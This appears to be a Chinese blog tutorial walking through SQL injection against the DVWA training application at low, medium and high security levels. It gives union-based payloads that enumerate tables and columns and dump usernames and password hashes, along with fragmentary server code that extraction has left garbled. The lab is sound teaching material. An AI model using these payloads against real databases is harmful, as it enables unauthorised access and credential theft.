Web安全之DVWA--SQL注入(从低级到高级)

SQL注入低级(low)

低级核心代码

' . mysql_error() . '
' ); // Get results $num = mysql_numrows( $result ); $i = 0; while( $i < $num ) { // Get values $first = mysql_result( $result, $i, "first_name" ); $last = mysql_result( $result, $i, "last_name" ); // Feedback for end user $html .= "
ID: {$id}
First name: {$first}
Surname: {$last}
"; // Increase loop count $i++; } mysql_close(); } ?>

低级SQL注入

id=1 and 1=2'                     判断闭合方式    '

Web安全之DVWA--SQL注入(从低级到高级)_第1张图片

构造闭合,找出显示行数

1' union all select 1,2 #

Web安全之DVWA--SQL注入(从低级到高级)_第2张图片

判断数据库名称

1' union all select 1,database() #

Web安全之DVWA--SQL注入(从低级到高级)_第3张图片

判断数据库的表名

1' union all select 1,group_concat(table_name) from information_schema.tables where table_schema = 'dvwa' #

Web安全之DVWA--SQL注入(从低级到高级)_第4张图片

判断数据库列名

1' union all select 1,group_concat(column_name) from information_schema.columns where table_name = 'users' #

Web安全之DVWA--SQL注入(从低级到高级)_第5张图片

爆数据

1' union all select group_concat(user),group_concat(password) from users #

Web安全之DVWA--SQL注入(从低级到高级)_第6张图片

SQL注入中级(medium)

服务器核心代码

' . mysql_error() . '
' ); // Get results $num = mysql_numrows( $result ); $i = 0; while( $i < $num ) { // Display values $first = mysql_result( $result, $i, "first_name" ); $last = mysql_result( $result, $i, "last_name" ); // Feedback for end user $html .= "
ID: {$id}
First name: {$first}
Surname: {$last}
"; // Increase loop count $i++; } //mysql_close(); } ?>

中级为选项型,SQL注入,不能输入,需借用工具Burpsuite

Web安全之DVWA--SQL注入(从低级到高级)_第7张图片

将浏览器的代理改为代理

Web安全之DVWA--SQL注入(从低级到高级)_第8张图片

修改id=1&Submit=Submit,进行SQL注入

Web安全之DVWA--SQL注入(从低级到高级)_第9张图片

判断显示行数

id=1 order by 2 &Submit=Submit

Web安全之DVWA--SQL注入(从低级到高级)_第10张图片

判断数据库名称

id=1 union select 1,2  &Submit=Submit

Web安全之DVWA--SQL注入(从低级到高级)_第11张图片

注:数据库表名、列名和数据以上,与低级相同。

 

SQL注入高级(high)

服务器核心代码

Something went wrong.
' ); // Get results $num = mysql_numrows( $result ); $i = 0; while( $i < $num ) { // Get values $first = mysql_result( $result, $i, "first_name" ); $last = mysql_result( $result, $i, "last_name" ); // Feedback for end user $html .= "
ID: {$id}
First name: {$first}
Surname: {$last}
"; // Increase loop count $i++; } mysql_close(); } ?>

判断行数,行数为2

Web安全之DVWA--SQL注入(从低级到高级)_第12张图片

Web安全之DVWA--SQL注入(从低级到高级)_第13张图片

判断数据库名称

Web安全之DVWA--SQL注入(从低级到高级)_第14张图片

Web安全之DVWA--SQL注入(从低级到高级)_第15张图片

注:数据库表名、列名和数据,均可以使用低级数据库语言。

你可能感兴趣的:(安全)